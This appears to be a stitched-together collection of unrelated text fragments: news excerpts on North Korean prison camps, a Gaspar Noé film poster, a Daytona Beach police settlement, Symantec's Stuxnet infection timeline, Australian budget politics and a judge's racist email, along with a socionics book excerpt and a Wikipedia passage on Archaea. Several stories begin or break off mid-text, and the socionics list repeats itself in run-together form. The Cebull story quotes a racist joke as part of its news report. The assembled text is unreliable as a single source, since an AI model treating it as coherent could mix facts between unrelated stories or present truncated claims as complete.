The Iranian embassy said the allegations were the result of "a misunderstanding resulting from differences in cultural behaviour".
It also accused the Brazilian media of deliberately sensationalising the incident.
But Brazilian Foreign Minister Antonio Patriota said he was taking the allegations very seriously and would ask the Iranian embassy for clarification before deciding what action to take.
“Yes, there were several journalists in this camp because, as intellectuals with access to information from the outside world, they were the first to criticise the regime,” said Jung Gwang-il, a former Yoduk detainee. “I am convinced that many journalists are still being held in harsh conditions in North Korea’s camps.”
Reporters Without Borders would like to pay homage to Kim Kyungcheon, a cameraman with the state propaganda TV station Chosun Jungang, who died aged 60 as a result of the injuries received during a forced labour accident in Yoduk in May 2001. He had been arrested in March 2000 for criticising Kim Jong-il’s personality cult. Most Yoduk detainees have to fell trees and chop wood in difficult and dangerous conditions in winter.
“Kim Kyungcheon continued to criticise the regime, although that was dangerous,” Jung told Reporters Without Borders. “He would often say: ‘Why aren’t images of the people dying of hunger shown on TV?’ or ‘Our constitution gives us press freedom but nothing is respected in practice.’ He paid dearly for his criticism. The camp director often shouted him out, saying, ‘We ought to kill you right now.’ After breaking his leg, he was taken to the camp infirmary. He died of his injuries a few days later. We had to dig his grave with our bare hands. His family was not told he had died.”
We also pay homage to Chosun Jungang reporter Cha Gwangho, who died in the same camp in December 2001, at the age of 65, as a result of malnutrition. He had been held since January 1999 for criticising the Kim Jong-il regime. After being injured while doing forced labour, his rations were reduced on the grounds that he was no longer productive. Prisoners are rationed to just one bowl of soup a day and have to supplement their diet by eating plants, rats or frogs in order to survive.
“For lack of information, the fate of tens of thousands of North Korean prisoners of conscience is largely neglected by the international community,” Reporters Without Borders said. “The revelation that two journalists died at the start of the last decade, as so many others have done, should stimulate the United Nations to press harder for the closure of North Korea’s concentration camps.”
Jung gave us a detailed description of Yoduk. It consists of huts housing thousands of prisoners, men and women, who are subjected to forced labour. It is surrounded by barbed-wire fencing and guarded by about 1,000 armed men. The camp is divided into two areas, the “total-control zone” for those who have been given life sentences, and the “revolutionizing zone” for those who have a chance of being released.
Jung and his colleagues in an NGO called Free the North Korean Gulag have identified 250 people who are being held in this camp for political crimes. They include civil servants, workers, soldiers, writers, businessmen, students and for example a diplomat who was arrested for meeting with South Koreans while assigned to Paris in the late 1990s. It is estimated that, in all, at least 200,000 people are currently being held in North Korea’s concentration camps and “reeducation centres.”
A version of this story first appeared in the May 15 issue of The Hollywood Reporter magazine. To receive the magazine, click here to subscribe.
Leave it to enfant terrible director Gaspar Noe (Irreversible) to shock even before his latest film — a 3D pornographic odyssey called Love — premieres in a midnight screening at Cannes.
A hardcore teaser poster was tweeted April 24 by producer Vincent Maraval (Blue Is the Warmest Color) featuring a male organ after climaxing, clutched in a nude woman's hand. (The tagline? "Coming soon.")
Maraval tells The Hollywood Reporter that the jaw-dropping image does not actually appear in Love. "It's an old visual we used a year ago for presales," he says.
So who made the photo? "I just did it with my assistant," Maraval explains. And who is the male model? "I signed a confidentiality clause."
The film's official poster, revealed May 5, hews closely to a softer promo poster released before the X-rated version. In it, three mouths (two female and one male) are seen engaging in a sloppy kiss — saliva, tongues and all.
Love's official synopsis:
Before you can save the world, you'd better write a to-do list so nothing gets overlooked. Some of the world's brightest minds have done just that by laying out this century's greatest engineering challenges.
The panel of 18 engineers, technologists and futurists included Google co-founder Larry Page and genomics pioneer J. Craig Venter. They spent more than a year pondering how best to improve life on Earth and came up with 14 Grand Engineering Challenges, a list the National Academy of Engineering deemed so momentous it should be capitalized.
The list, announced this afternoon, addresses four themes the committee considered "essential for humanity to flourish" - environmental sustainability, health, reducing our vulnerability and adding to the joy of living.
"We chose engineering challenges that we feel can, through creativity and committment, be realistically met, most of them early in this century," said committee chair William J. Perry, the former Secretary of Defense who teaches engineering at Stanford University. "Some can be, and should be, achieved as soon as possible."
What are they?
Make solar energy affordable.
Provide energy from fusion.
Develop carbon sequestration methods.
Manage the nitrogen cycle.
Provide access to clean water.
Restore and improve urban infrastructure.
Advance health informatics.
Engineer better medicines.
Reverse-engineer the brain.
Prevent nuclear terror.
Secure cyberspace.
Enhance virtual reality.
Advance personalized learning.
Engineer the tools for scientific discovery.
The committee, which also included such luminaries as futurist Ray Kurzweil and robotics guru Dean Kamen, decided not to make any predictions or focus on gee-whiz gadgets. They felt it more important to outline broad objectives that might influence research funding and governmental policy.
The 14 challenges they laid out were culled from hundreds of suggestions from engineers, scientists, policymakers and ordinary people around the world.
"Meeting these challenges would be game changing," said Charles M. Vest, president of the NAE. "Success with any of them could dramatically improve life for everyone."
So... what should we check off first?
DAYTONA BEACH— The city has decided to pay a $250,000 settlement to a man who claims Daytona Beach police barged into his home over a misunderstanding, roughed him up so severely that he needed back surgery and then searched his home without a warrant.
City commissioners OK'd the $250,000 payout during their meeting last week, less than a month before a federal case on the claims was scheduled to go to trial.
The settlement ended both that federal case and claims that had been pending in state court, allowing the city to avoid what could have been a much larger award for pain and suffering as well as $642,370 the man, Matthew Olson, claimed he was owed for past and future medical expenses, lost wages and attorney's fees.
"It was a pretty egregious set of facts," said Olson's Orlando-area attorney, Howard Marks. "He was in his house sleeping. He just opened the door a crack and two officers barged in and beat the hell out of him. ... Then they did an illegal search without probable cause."
Olson's arrest in his Daytona Beach town home happened nearly six years ago. Earlier that night, Nov. 14, 2006, Olson and the woman he was dating at the time had been at a sports bar-type restaurant, Marks said.
When they were driving home, Olson and Wendi Alexander got into an argument, according to court and city records. About 10 p.m., they were driving in the area of Thames Road and International Speedway Boulevard when Alexander jumped out of the truck's passenger door while it was still moving, according to the federal lawsuit.
Olson stopped the truck, got out to see if Alexander was OK and then left her there and went home after she refused to get back in the vehicle, according to the federal suit. Marks said the woman was not injured.
A man who saw Alexander fall out of the truck called 9-1-1, and said Alexander told him Olson pushed her out of the vehicle, according to a memo on the case put together by City Attorney Marie Hartman. Alexander, who was upset and crying, also told a police officer Olson shoved her out, but later told a different officer she jumped out on her own, according to Hartman's memo to city commissioners.
When Olson got home, he went upstairs, undressed and was in bed when he said he heard a loud pounding on his front door. As Olson, then 24, made it down his steps, he said he also heard shouts from the officers saying they would break down the door if he didn't open it.
After Olson opened his door, he said he didn't have a chance to say anything before officers Craig Buth and Scott Goss burst inside. In his lawsuit Olson claimed Buth grabbed him from behind, threw him into a wall and banister and then slammed his body onto the tile floor.
Olson said Buth smashed his head into the floor, stomped on his arm with his foot and jammed his knee into his back. Olson, wearing only his boxer shorts, said he never resisted the officers or failed to cooperate at any point that night, but maintains that when Goss handcuffed him he twisted his arm around to the point it felt like it was going to come out of the socket.
Olson contends two additional officers — Robert Atkins and Scott Barnes — entered and searched his home without his consent or proper authority.
All four of those officers, as well as Officers Elizabeth Morgan and Kenneth Dier, were individually sued in the federal case for false arrest, unlawful entry and search without a warrant and excessive force.
The state court claims against the city were for false arrest, excessive force and invasion of privacy.
Hartman said Monday police did not have a search warrant that night.
Police Chief Mike Chitwood said some aspects of the case don't add up, such as Olson not complaining of any medical issues when he was booked into jail. But it would have been a tough case to take to trial because there was no internal affairs report, no 9-1-1 recordings and officers couldn't remember much of anything, the chief said.
Of the six officers mentioned in the federal case, Chitwood said Atkins and Buth have retired from the department, and Dier no longer works there.
Olson was charged with domestic battery, but two weeks later prosecutors dropped the case, according to Marks.
The five organizations, believed to be the first that were infected with the worm, were targeted in five separate attacks over a number of months in 2009 and 2010, before Stuxnet was discovered in June 2010 and publicly exposed. Stuxnet spread from these organizations into other organizations on its way to its final target, which is believed to have been a nuclear enrichment facility or facilities in Iran.
"These five organizations were infected, and from those five computers Stuxnet spread out – not to just computers in those organizations, but to other computers as well," says Liam O Murchu, manager of operations for Symantec Security Response. "It all started with those five original domains."
The new information comes in an updated report from researchers at Symantec (.pdf), a computer security firm that has provided some of the leading analysis of the worm since it was discovered.
According to the report, Stuxnet's first attack against the five organizations occurred in June 2009, followed by a second attack in July 2009. Eight months passed before subsequent attacks were launched in March, April and May 2010. The last attack was just one month before the code was discovered in June 2010 by VirusBlokAda, a security firm in Belarus, which said it had found the malware on computers of unspecified clients in Iran.
Symantec didn't identify the names of the five organizations that were targeted; the company said only that all five "have a presence in Iran" and are involved in industrial processes. One of the organizations (what Symantec refers to as Domain B) was targeted with the worm in three of the five attacks. Of the remaining organizations, three of them were hit once, and the last organization was targeted twice.
Symantec has so far been able to count a constellation of 12,000 infections that occurred in the five organizations and then spread to outside organizations. The most successful attack occurred in March 2010 when 69 percent of these infections occurred. The March attack targeted only Domain B, then spread.
Domain A was targeted twice (Jun 2009 and Apr 2010). The same computer appears to have been infected each time.
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
Domain C was targeted once (Jul 2009).
Domain D was targeted once (Jul 2009).
Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same initially infected USB key was inserted into three different computers.)
O Murchu acknowledges that there could have been earlier attacks that occurred before June 2009, but no one has found evidence of this yet.
Symantec found that the shortest time between when the malware was compiled in one case – that is, turned from source code into a working piece of software – and the subsequent attack using the code occurred, was just 12 hours. This occurred in the June 2009 attack.
"This tells us that the attackers more than likely knew who they wanted to infect before they completed the code," O Murchu says. "They knew in advance who they wanted to target and how they were going to get it there."
Stuxnet was not designed to spread via the internet but via an infected USB stick or some other targeted method within a local network. So the short timeframe between compilation and the launch of the June 2009 attack also suggests that the attackers had immediate access to the computer they attacked – either working with an insider or using an unwitting insider to introduce the infection.
"It could be they sent it to someone who put it on a USB key, or it could have been delivered via spear-phishing," O Murchu says. "What we do see is that the exploits in Stuxnet are all LAN-based, so it is not going to spread wildly on the internet. From that, we can assume the attackers wanted to deliver Stuxnet to an organization that was very close to whatever the final destination for Stuxnet was."
Symantec, working with other security firms, has so far been able to collect and examine 3,280 unique samples of the code. Stuxnet has infected more than 100,000 computers in Iran, Europe and the United States, but it's designed to only deliver its malicious payload when it finds itself on the final system or systems it's targeting.
On systems that are not targeted, the worm just sits and finds ways to spread to other computers in search of its target. To date, three variants of Stuxnet have been found (dating to June 2009, March 2010 and April 2010). Symantec believes a fourth variant likely exists, but researchers have not found it yet.
One of the organizations, Domain B, was targeted each time the attackers released a new version of Stuxnet.
"So it looks like they felt that if they got in there, Stuxnet would spread to the [system] they actually wanted to attack," O Murchu says.
After the worm was discovered in June 2010, Symantec researchers worked on reverse-engineering the code to determine what it was designed to do. Two months later, the company stunned the security community when it revealed that Stuxnet was designed to attack Programmable Logic Controllers (PLCs), something that until then was considered a theoretical attack but had never been proven done. PLCs are components that work with SCADA systems (supervisory control and data acquisition systems) that control critical infrastructure systems and manufacturing facilities.
Shortly after Symantec released this information last August, German researcher Ralph Langner disclosed that Stuxnet was not attacking just any PLC, it was targeted to sabotage a specific facility or facilities. Speculation focused on Iran's nuclear enrichment plant at Natanz as the likely target. Iran has acknowledged that malicious software struck computers at Natanz and affected centrifuges at the plant, but has not provided any details beyond this.
[This is an excerpt from the book Socionics: Typology. Small Groups by Grigory Reinin, published in 2005. You can download the full text here.]
Types of information metabolism and situations.
Positive subject intuition (+ ). Integrity of the inner situation: good, pleasant mood, harmony with the external world; fun, happiness; plunging in thought.
Inverse subject intuition (- ). Infringement of the inner peace: irritation, moral discomfort; internal contradictions.
Positive objective intuition (+ ). Integrity of the environment: everything is known from beginning to end; the world as if rolls on straight tracks; there is a schedule; the world is predictable, people are predictable, too.
Inverse objective intuition (- ). Infringement of the integrity of environment: unexpectedness, breach of schedule; the result of events is unpredictable, or an unexpected event.
Positive subjective sensing (+ ). Various bodily sensations: that of being strong and healthy, taste, color, smells. The practice of cleansing and healing techniques and diets; attention to health. Following fashions in the area of health.
Inverse subjective sensing (- ). Indisposition, pain, hunger, fatigue, unpleasant sensations of other origin.
Positive objective sensing (+ ). Form, fashion, appearance. Movement, action, activity. Skills. Will.
Inverse objective sensing (- ). Beautiful/ugly (judgment). Physical violence, danger.
Positive objective logic (+ ). External circumstances, events, facts. Personal space. Technology of arrangement. Statistics. The external world is the objective reality. Matter. Documents. Rules, laws. Material values. External social norms.
Inverse objective logic (- ). Loss of values, money. Infringement of the order. Natural disasters. Traffic jams. “Facts are the objective reality.” Numbers, statistics. Loss of territory. Car breakage; TV, home appliance breakage. Dirt in the hall on the carpet.
Positive subject logic (+ ). Understanding, hierarchy, structure.
Inverse subject logic (- ). Difficult task; a challenge to the intellect. Necessity to figure out and understand.
Positive objective ethics (+ ). External relationships. Relationships with people. People’s attitude to me. Negotiations. Meetings with friends. Fellowship with close ones.
Inverse objective ethics (- ). Conflicts. Intrigues. Slander. Quarrel with near and dear ones. Conflicts at work.
Positive subject ethics (+ ). My attitude to people. Necessity to express my attitude, opinion, feelings of love. Pleasant/unpleasant. My evaluation of a thing, an object, a person.
Inverse subject ethics (- ). I abhor, reject, detest. (+). Integrity of the inner situation: good, pleasant mood, harmony with the external world; fun, happiness; plunging in thought.(-). Infringement of the inner peace: irritation, moral discomfort; internal contradictions.(+). Integrity of the environment: everything is known from beginning to end; the world as if rolls on straight tracks; there is a schedule; the world is predictable, people are predictable, too.(-). Infringement of the integrity of environment: unexpectedness, breach of schedule; the result of events is unpredictable, or an unexpected event.(+). Various bodily sensations: that of being strong and healthy, taste, color, smells. The practice of cleansing and healing techniques and diets; attention to health. Following fashions in the area of health.(-). Indisposition, pain, hunger, fatigue, unpleasant sensations of other origin.(+). Form, fashion, appearance. Movement, action, activity. Skills. Will.(-). Beautiful/ugly (judgment). Physical violence, danger.(+). External circumstances, events, facts. Personal space. Technology of arrangement. Statistics. The external world is the objective reality. Matter. Documents. Rules, laws. Material values. External social norms.(-). Loss of values, money. Infringement of the order. Natural disasters. Traffic jams. “Facts are the objective reality.” Numbers, statistics. Loss of territory. Car breakage; TV, home appliance breakage. Dirt in the hall on the carpet.(+). Understanding, hierarchy, structure.(-). Difficult task; a challenge to the intellect. Necessity to figure out and understand.(+). External relationships. Relationships with people. People’s attitude to me. Negotiations. Meetings with friends. Fellowship with close ones.(-). Conflicts. Intrigues. Slander. Quarrel with near and dear ones. Conflicts at work.(+). My attitude to people. Necessity to express my attitude, opinion, feelings of love. Pleasant/unpleasant. My evaluation of a thing, an object, a person.(-). I abhor, reject, detest.
Active interactions in the social sphere, both successful and unsuccessful.
Intemperance; quarrels. Relationships with the opposite sex. Impossibility of definite actions; wavering and procrastination. Impossibility to assert one's own interests, to pursue the set goals. Extreme situations, natural disasters; dealing with masses in these conditions. Difficulties in communication. Impossibility of compromise. Personal conflicts. Bad health condition. Situation when a person is open to external influences. Deceit and intimidation. Behavior not usual to the person. Change of the image. Unexpected event. Frustration of the schedule.
1. Active social cooperation (success, failure).
2. Intemperance. Quarrels.
3. Relationships with the opposite sex.
4. Impossibility of definite actions; wavering and procrastination.
5. Impossibility to assert one's own interests, to pursue the set goals.
6. Extreme situations, natural disasters; dealing with masses in these conditions.
7. Difficulties in communication. Impossibility of a compromise.
8. Interpersonal conflicts.
9. Bad health condition.
10. Vulnerability to external influences. Deceit and intimidation.
11. Extraordinary behavior. Change of image.
12. Unexpected event. Frustration of the schedule.
Get your focus off yourself, try to be adequate to the situation as much as possible. Take time to analyze similar cases in your life. Remember that you are not perfect. Now all that has happened is history, you have learnt your lessons and it will be easier in the future. Consider the things you lacked earlier, and take them into account in the future. Make a list of all similar cases, then imagine that you are in a movie hall watching a movie about a gentleman (or a lady) and when the story comes to the critical scene, let go of the control button. Let the script develop by itself, but do not forget that you are an onlooker. It is possible that the ending will be different from what has really happened. Do that with episodes of your life. If you caught the idea you will probably enjoy the experience. Rely on this aloofness of a spectator in any similar situation. There is one problem though: you may not have the time to recognize the situation. As soon as you feel that you are "not OK", switch to the state of an onlooker.
Making clear taxpayer hand-outs are now under tough restrictions, Mr Hockey told ABC Radio that the age of personal responsibility has begun.
And he appeared cool towards a proposal that Agricultural Minister Barnaby Joyce is expected to take to cabinet for a multi-billion bailout of meat and agricultural industries.
Mr Hockey couldn't commit to a plan he hadn't seen but said the rural industries, now stressed by severe drought, also had good times and had to prepare for the swings and roundabouts.
Australians were also told to better manage their personal finances at a time when interest rates are at unusual lows.
"So if people are having problems coping with interest rates now then there is a bigger systemic issues at play," Mr Hockey said.
His comments were among the strongest indications yet made by Mr Hockey in government that the May Budget will be tough on spending in all sectors with little mercy for corporations seeking assistance.
The government is facing continued demands to assist Holden in South Australia and fruit canner SPC Ardmona in Victoria.
But it is standing firm that companies have to sort out their own problems out, particularly on the shop floor.
Mr Hockey said if companies reach expensive deals with workers, "please do not come to the government asking for other taxpayers' money when those agreements fail".
That will be seen as a message to Toyota, the only remaining car maker not to have closure plans.
"I say to you emphatically, everyone in Australia must do the heavy lifting. The age of entitlement is over, the age of personal responsibility has begun,'' he said.
"We need to help those people who are most vulnerable in our community. That is our duty and we will do that.
"But we can only do that on a sustainable basis. It can only be done if everyone who has the capacity to lift does indeed lift.''
Welfare groups are urging the Government to limit major cuts to so-called middle class welfare and well-off wage earners.
Mr Hockey's warning comes as charity group Anglicare said it feared the Budget would leave behind "the most marginalised members of Australian society''.
“A little boy said to his mother; ‘Mommy, how come I’m black and you’re white?'” the email forwarded from Cebull’s official court email address on Feb. 20 read, according to the Great Falls Tribune. “His mother replied, ‘Don’t even go there Barack! From what I can remember about that party, you’re lucky you don’t bark!'”
The federal judge’s email called the joke “a bit touching” and said he wanted all of his friends to feel what he felt when he read the email. “Hope it touches your heart like it did mine,” he wrote.Cebull told the newspaper that his brother sent him the racist email which he then forwarded to six “old buddies” and acquaintances. A forwarded version of the email eventually made its way to a reporter at the Great Falls Tribune.
Cebull said he showed “very poor judgment” by forwarding the email and said it was “not intended by me in any way to become public.”
He added that he “did not forward it because of the racist nature of it” although he acknowledged it was racist.
Pakistani Canadian Sadia Rafiquddin says there are more similarities between the two groups than differences.
"In many instances, Canada's Indigenous peoples were removed from their homes and the very same thing has happened to refugees around the world. They have been forcibly removed from their homes whether it is a political crisis, an economic crisis or any other type of crisis that they've had to leave, not because they've wanted to, but because they've had to," she explained.
At a talk tonight sponsored by the Walrus Foundation, in partnership with the Order of Canada, Rafiquddin will speak about her own personal experience about connecting with Innu elder Elizabeth Penashue.
Penashue, from Labrador, walks more than 200 kilometres every year to her birthplace inside the Mealy Mountains.
Elizabeth Penashue has long been an advocate for the Innu people. (CBC )
"She was forcibly removed and put into a community setting against her will," Rafiquddin said.
"These walks are meant to be her chance to connect to the land, the animals, the water, to be in her birthplace, to recognize her home."
Penashue has done this walk each year for the past 14 years, and one year, Rafiquddin asked for an opportunity to join her.
"Over 250 kilometers, she and I and her family shared so much. We talked about our languages, our communities, where we came from, what the experience of being forcibly removed from one's homeland has on a sense of well-being for a person," she said.
Rafiquddin says it's important to make such a connection because coming together will ultimately make Canada a better country.
"We need to hear about our common humanity. We need to be less us versus them and think more about all of us being together and building a better country," she said.
The talk takes place tonight at 7 p.m. PT at Centre Stage at Surrey City Hall.
The next evolution of the automobile will be plug-in hybrids that get their juice from a household electrical outlet. They'll start rolling into showrooms within in 18 months. Experts say plug-in hybrids could account for about 20 percent of vehicle sales within a decade – and half of all sales by 2050.
"It all boils down to the three ways electricity is better than gasoline," says Felix Kramer of Cal Cars, a plug-in advocacy group. "It's cleaner, it's cheaper and it's domestic."
Advocates say plug-in hybrids are the best chance to address global warming and wean the nation from oil. Consumers remain unsure about electric vehicles. Ethanol's a shaky proposition because of the food-for-fuel debate. And it'll be decades before hydrogen is a viable option. That, advocates say, leaves plug-ins as the best option. They'll go up to 40 miles on a charge; but they'll also have a gas engine to keep you going beyond that at 80 to 100 mpg or more.
People have been converting conventional hybrids to plug-ins for years, but the auto industry has been slow to catch on. Now the big automakers and start-ups like Fisker Automotive are scrambling to build them despite questions about their cost and long-term reliability. Those are just two of the issues that automakers, battery manufacturers and utility companies will discuss next week at the international Plug-In 2008 conference in San Jose.
"The discussion is no longer one of 'if,' but of 'when' and 'how,'" says Chelesa Sexton, executive director of the advocacy group Plug-In America. "This has moved beyond the grass-roots level into the policy and business arenas."
It all starts in 2010. General Motors promises to have the Chevrolet Volt rolling into showrooms by then. Toyota says it will roll out a small fleet of plug-in Prius hybrids to see how they do. Volkswagen has similar plans for its plug-in Golf. And Fisker hopes to have a few dozen pricey Karma sedans in driveways within 18 months. Ford and others are moving more slowly, aiming for 2012 and beyond.
Automakers know plug-in hybrids are their best shot at meeting tightening federal fuel-economy regulations, and California's zero-emissions-vehicle mandate requires them to put nearly 60,000 of them on the road in six years. They're also responding to a seismic change in the market as record-high gas prices have consumers, fed-up with paying through the nose for gasoline, joining environmentalists to demand fuel-efficient cars.
"For the longest time, this was seen as a crunchy environmental California movement," Sexton says. "It never was, but now there's a broad coalition of people sitting at the same table to demand these cars. There's a collective frustration with the status quo."
Critics note that most of our electricity is generated by coal or natural gas and say plug-ins don't reduce carbon dioxide, they just move it around.
Mark Duvall of the Electric Power Research Institute says they're wrong. His research shows widespread adoption of plug-in hybrids could cut greenhouse gas emissions by more than 450 million metric tons annually by 2050. That's the equivalent of removing 82.5 million gasoline vehicles from the road. "There's significant CO2 reduction with plug-in hybrids over conventional vehicles and hybrids, and that reduction increases over time," he says.
Duvall's research and a study by the Pacific Northwest National Laboratory suggest that the grid could easily supply as many as 168 million plug-in vehicles.
"We can handle as many plug-in hybrids as the auto industry wants to provide and people want to drive," he says. "The supply of electricity is almost limitless."
All those plug-ins would cut petroleum consumption from 20.6 million barrels a day to 16 or 17 million. But the lithium-ion batteries that will store that electricity remain the cars' Achilles heel.
The long-term reliability of lithium-ion batteries remains unknown, and by some estimates they cost as much as $15,000. That'll make selling plug-ins at a price most people can afford a tough proposition until the cars are made in volume – and the cost of batteries comes down. GM says it doesn't expect to turn a profit on the $40,000 Volt anytime soon.
Sales undoubtedly will start off slowly. Analysts don't expect GM to sell more than 30,000 Volts annually for the first couple of years. Other automakers will see similar sales figures until the cost of batteries comes down.
"We're looking at small volumes initially," says Mike Omotoso of J.D. Power & Associates. "But we could see critical mass by 2015."
Advocates say politicians and policymakers can help by creating tax breaks to make it easier for consumers to buy the cars and automakers to build them. Such incentives – coupled with perks like carpool-lane access – helped hybrids gain a foothold, they say, and could do the same for plug-ins.
The Department of Energy has handed out more than $60 million since 2006 to advance hybrid and battery technology and hopes to disburse another $62.3 million by the end of next year.
Both Barack Obama and John McCain have hailed plug-in hybrids in general – and the Volt in particular – in recent weeks and promised to spur development of such cars if elected. And Sen. Lamar Alexander, R-Tennessee, has called for Washington to go further by launching a "New Manhattan Project" that would include getting plug-in hybrids on the road in large numbers.
Archaea (Archaebacteria)
3.5-0Ga Had'n Archean Proterozoic Pha. Temporal range: Paleoarchean or perhaps Eoarchean – recent Halobacterium sp. strain NRC-1,
each cell about 5 μm long Scientific classification Domain: Archaea
Woese, Kandler & Wheelis, 1990[1] Subkingdoms[4] and phyla[5] "Euryarchaeota" Woese et al. 1990 "Methanopyri" Garrity and Holt 2002 "Methanococci" Boone 2002 "Eurythermea" Cavalier-Smith 2002 [2] "Neobacteria" Cavalier-Smith 2002 [2]
"DPANN" "ARMAN" "Micrarchaeota" Baker et al. 2010 "Parvarchaeota" Rinke et al. 2013 "Aenigmarchaeota" Rinke et al. 2013 "Diapherotrites" Rinke et al. 2013 "Nanoarchaeota" Huber et al. 2002 "Nanohaloarchaeota" Rinke et al. 2013 "Pacearchaeota" Castelle et al. 2015 "Woesearchaeota" Castelle et al. 2015
"Proteoarchaeota" Petitjean et al. 2015 (TACK)"Filarchaeota" Cavalier-Smith, T. 2014 [3] "Aigarchaeota" Nunoura et al. 2011 "Bathyarchaeota" Meng et al. 2014 Crenarchaeota Garrity & Holt 2002 "Geoarchaeota" Kozubal et al. 2013 "Korarchaeota" Barns et al. 1996 Thaumarchaeota Brochier-Armanet et al. 2008 "Asgardarchaeota" Violette Da Cunha et al. , 2017 "Lokiarchaeota" Spang et al. 2015 "Thorarchaeota" Seitz et al. 2016 "Odinarchaeota" Katarzyna Zaremba-Niedzwiedzka et al. 2017 "Heimdallarchaeota" Katarzyna Zaremba-Niedzwiedzka et al. 2017
Synonyms Archaebacteria Woese & Fox, 1977
Mendosicutes Gibbons & Murray, 1978
Metabacteria Hori and Osawa 1979
Archaea ( () or ar-KEE-ə or ar-KAY-ə) constitute a domain of single-celled microorganisms. These microbes (archaea; singular archaeon) are prokaryotes, meaning they have no cell nucleus. Archaea were initially classified as bacteria, receiving the name archaebacteria (in the Archaebacteria kingdom), but this classification is outdated.[6]
Archaeal cells have unique properties separating them from the other two domains of life, Bacteria and Eukarya. Archaea are further divided into multiple recognized phyla. Classification is difficult because most have not been isolated in the laboratory and were only detected by analysis of their nucleic acids in samples from their environment.
Archaea and bacteria are generally similar in size and shape, although a few archaea have shapes quite unlike that of bacteria, such as the flat and square-shaped cells of Haloquadratum walsbyi.[7] Despite this morphological similarity to bacteria, archaea possess genes and several metabolic pathways that are more closely related to those of eukaryotes, notably for the enzymes involved in transcription and translation. Other aspects of archaeal biochemistry are unique, such as their reliance on ether lipids in their cell membranes, including archaeols. Archaea use more energy sources than eukaryotes: these range from organic compounds, such as sugars, to ammonia, metal ions or even hydrogen gas. Salt-tolerant archaea (the Haloarchaea) use sunlight as an energy source, and other species of archaea fix carbon, but unlike plants and cyanobacteria, no known species of archaea does both. Archaea reproduce asexually by binary fission, fragmentation, or budding; unlike bacteria and eukaryotes, no known species forms spores.
The first archaea observed were extremophiles living in harsh environments such as hot springs and salt lakes with no other organisms, but improved detection tools led to the discovery of archaea in almost every habitat, including soils, oceans, and marshlands. They are also part of the human microbiota in the gut, mouth, and skin.[8] Archaea are particularly numerous in the oceans, and the archaea in plankton may be one of the most abundant groups of organisms on the planet. Archaea are a major part of Earth's life and may play roles in the carbon cycle and the nitrogen cycle. No clear examples of archaeal pathogens or parasites are known, but they are often mutualists or commensals. One example is the methanogens that inhabit human and ruminant guts, where their vast numbers aid digestion. Methanogens are also used in biogas production and sewage treatment, and biotechnology exploits enzymes from extremophile archaea that can endure high temperatures and organic solvents.
Classification [ edit ]
Early concept [ edit ]
For much of the 20th century, prokaryotes were regarded as a single group of organisms and classified based on their biochemistry, morphology and metabolism. For example, microbiologists tried to classify microorganisms based on the structures of their cell walls, their shapes, and the substances they consume.[9] In 1965, Emile Zuckerkandl and Linus Pauling[10] proposed instead using the sequences of the genes in different prokaryotes to work out how they are related to each other. This phylogenetic approach is the main method used today.
Archaea – at that time only the methanogens were known – were first classified separately from bacteria in 1977 by Carl Woese and George E. Fox based on their ribosomal RNA (rRNA) genes.[11] They called these groups the Urkingdoms of Archaebacteria and Eubacteria, though other researchers treated them as kingdoms or subkingdoms. Woese and Fox gave the first evidence for Archaebacteria as a separate "line of descent": 1. lack of peptidoglycan in their cell walls, 2. two unusual coenzymes, 3. results of 16S ribosomal RNA gene sequencing. To emphasize this difference, Woese, Otto Kandler and Mark Wheelis later proposed reclassifying organisms into three natural domains: the Eukarya, the Bacteria and the Archaea,[1] in what is now known as "The Woesian Revolution".[12]
The word archaea comes from the Ancient Greek ἀρχαῖα, meaning "ancient things",[13] as the first representatives of the domain Archaea were methanogens and it was assumed that their metabolism reflected Earth's primitive atmosphere and the organisms' antiquity, but as new habitats were studied, more organisms were discovered. Extreme halophilic[14] and hyperthermophilic microbes[15] were also included in Archaea. For a long time, archaea were seen as extremophiles that only exist in extreme habitats such as hot springs and salt lakes, but by the end of the 20th century, archaea had been identified in non-extreme environments as well. Today, they are known to be a large and diverse group of organisms abundantly distributed throughout nature.[16] This new appreciation of the importance and ubiquity of archaea came from using polymerase chain reaction (PCR) to detect prokaryotes from environmental samples (such as water or soil) by multiplying their ribosomal genes. This allows the detection and identification of organisms that have not been cultured in the laboratory.[17][18]
Current classification [ edit ]
[19] Phylogenetic tree of Archaea using conserved genes
The classification of archaea, and of prokaryotes in general, is a rapidly moving and contentious field. Current classification systems aim to organize archaea into groups of organisms that share structural features and common ancestors.[20] These classifications rely heavily on the use of the sequence of ribosomal RNA genes to reveal relationships between organisms (molecular phylogenetics).[21] Most of the culturable and well-investigated species of archaea are members of two main phyla, the Euryarchaeota and Crenarchaeota. Other groups have been tentatively created. For example, the peculiar species Nanoarchaeum equitans, which was discovered in 2003, has been given its own phylum, the Nanoarchaeota.[22] A new phylum Korarchaeota has also been proposed. It contains a small group of unusual thermophilic species that shares features of both of the main phyla, but is most closely related to the Crenarchaeota.[23][24] Other recently detected species of archaea are only distantly related to any of these groups, such as the Archaeal Richmond Mine acidophilic nanoorganisms (ARMAN, comprising Micrarchaeota and Parvarchaeota), which were discovered in 2006[25] and are some of the smallest organisms known.[26]
A superphylum – TACK – has been proposed that includes the Thaumarchaeota, Aigarchaeota, Crenarchaeota, and Korarchaeota.[27] This superphylum may be related to the origin of eukaryotes. More recently, the superphylum Asgard has been named and proposed to be more closely related to the original eukaryote and a sister group to TACK.[28]
Concept of species [ edit ]
The classification of archaea into species is also controversial. Biology defines a species as a group of related organisms. The familiar exclusive breeding criterion (organisms that can breed with each other but not with others) is of no help since archaea reproduce asexually.[29]
Archaea show high levels of horizontal gene transfer between lineages. Some researchers suggest that individuals can be grouped into species-like populations given highly similar genomes and infrequent gene transfer to/from cells with less-related genomes, as in the genus Ferroplasma.[30] On the other hand, studies in Halorubrum found significant genetic transfer to/from less-related populations, limiting the criterion's applicability.[31] Some researchers question whether such species designations have practical meaning.[32]
Current knowledge on genetic diversity is fragmentary and the total number of archaeal species cannot be estimated with any accuracy.[21] Estimates of the number of phyla range from 18 to 23, of which only 8 have representatives that have been cultured and studied directly. Many of these hypothesized groups are known from a single rRNA sequence, indicating that the diversity among these organisms remains obscure.[33] The Bacteria also include many uncultured microbes with similar implications for characterization.[34]
On average, archaeal genomes show higher levels of complexity than those of bacteria.[35]
Origin and evolution [ edit ]
